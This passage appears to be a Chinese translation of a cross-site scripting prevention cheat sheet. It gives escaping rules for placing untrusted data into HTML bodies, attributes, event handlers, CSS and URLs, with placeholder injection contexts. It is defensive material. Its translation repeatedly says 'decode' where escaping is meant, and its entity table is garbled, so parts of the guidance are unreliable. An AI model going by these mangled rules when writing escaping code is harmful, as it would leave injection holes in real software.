更重要的是，不要接受來自不可信任來源的JavaScript代碼然後運行，例如，名為「callback」的參數就包含JavaScript代碼段，沒有解碼能夠解決。 – 在向HTML元素內容插入不可信數據前對HTML解碼
這條規則適用於當你想把不可信數據直接插入HTML正文某處時，這包括內部正常標簽(div、p、b、td等)。大多數網站框架都有HTML解碼的方法且能夠躲開下列字元。但是，這對於其他HTML context是遠遠不夠的，你需要部署其他規則。
<body>...... </body><div>......</div>以及其他的HTML常用元素
使用HTML實體解碼躲開下列字元以避免切換到任何執行內容，如腳本、樣式或者事件處理程序。在這種規格中推薦使用十六進制實體，除了XML中5個重要字元(&、<、 >、 、 ')外，還加入了斜線符，以幫助結束HTML實體。
&-->&<--><>-->>-->'-- >''isnotrecommended/-- >/ – 在向HTML常見屬性插入不可信數據前進行屬性解碼
這條規則是將不可信數據轉化為典型屬性值(如寬度、名稱、值等)，這不能用於復雜屬性(如href、src、style或者其他事件處理程序)。這是及其重要的規則，事件處理器屬性(為HTML JavaScript Data Values)必須遵守該規則。
<divattr=......>content</div>insideUNquotedattribute<divattr='......'>content</div>insidesinglequotedattribute<divattr=......>content</div>insidedoublequotedattribute
除了字母數字字元外，使用小於256的ASCII值&#xHH格式(或者命名的實體)對所有數據進行解碼以防止切換屬性。這條規則應用廣泛的原因是因為開發者常常讓屬性保持未引用，正確引用的屬性只能使用相應的引用進行解碼。未引用屬性可以被很多字元破壞，包括[space] % * + , - / ; < = > ^ 和 |。 – 在向HTML JavaScript Data Values插入不可信數據前，進行JavaScript解碼
這條規則涉及在不同HTML元素上制定的JavaScript事件處理器。向這些事件處理器放置不可信數據的唯一安全位置就是「data value」。在這些小代碼塊放置不可信數據是相當危險的，因為很容易切換到執行環境，因此請小心使用。
<script>alert('......')</script>insideaquotedstring<script>x=......</script>onesideofanexpression<divonmouseover=......</div>insideUNquotedeventhandler<divonmouseover='......'</div>insidequotedeventhandler<divonmouseover=......</div>insidequotedeventhandler
除了字母數字字元外，使用小於256的ASCII值xHH格式 對所有數據進行解碼以防止將數據值切換至腳本內容或者另一屬性。不要使用任何解碼捷徑(如 )因為引用字元可能被先運行的HTML屬性解析器相匹配。如果事件處理器被引用，則需要相應的引用來解碼。這條規則的廣泛應用是因為開發者經常讓事件處理器保持未引用。正確引用屬性只能使用相應的引用來解碼，未引用屬性可以使用任何字元(包括[space] % * + , - / ; < = > ^ 和|)解碼。同時，由於HTML解析器比JavaScript解析器先運行，關閉標簽能夠關閉腳本塊，即使腳本塊位於引用字元串中。 – 在向HTML 樣式屬性值插入不可信數據前，進行CSS解碼
當你想將不可信數據放入樣式表或者樣式標簽時，可以用此規則。CSS是很強大的，可以用於許多攻擊。因此，只能在屬性值中使用不可信數據而不能在其他樣式數據中使用。不能將不可信數據放入復雜的屬性(如url,、behavior、和custom (-moz-binding))。同樣，不能將不可信數據放入允許JavaScript的IE的expression屬性值。
<style>selector{property:......;}</style>propertyvalue<spanstyle=property:......;>text</style>propertyvalue
除了字母數字字元外，使用小於256的ASCII值HH格式對所有數據進行解碼。不要使用任何解碼捷徑(如 )因為引用字元可能被先運行的HTML屬性解析器相匹配，防止將數據值切換至腳本內容或者另一屬性。同時防止切換至expression或者其他允許腳本的屬性值。如果屬性被引用，將需要相應的引用進行解碼，所有的屬性都應該被引用。未引用屬性可以使用任何字元(包括[space] % * + , - / ; < = > ^ 和|)解碼。同時，由於HTML解析器比JavaScript解析器先運行，</script>標簽能夠關閉腳本塊，即使腳本塊位於引用字元串中。 - 在向HTML URL屬性插入不可信數據前，進行URL解碼
當你想將不可信數據放入鏈接到其他位置的link中時需要運用此規則。這包括href和src屬性。還有很多其他位置屬性，不過我們建議不要在這些屬性中使用不可信數據。需要注意的是在javascript中使用不可信數據的問題，不過可以使用上述的HTML JavaScript Data Value規則。
<ahref=http://......>link</a>anormallink<imgsrc='http://......'/>animagesource<scriptsrc=http://....../>ascriptsource
除了字母數字字元外，使用小於256的ASCII值%HH 解碼格式對所有數據進行解碼。在數據中保護不可信數據：URL不能夠被允許，因為沒有好方法來通過解碼來切換URL以避免攻擊。所有的屬性都應該被引用。未引用屬性可以使用任何字元(包括[space] % * + , - / ; < = > ^ 和|)解碼。 請注意實體編碼在這方面是沒用的。
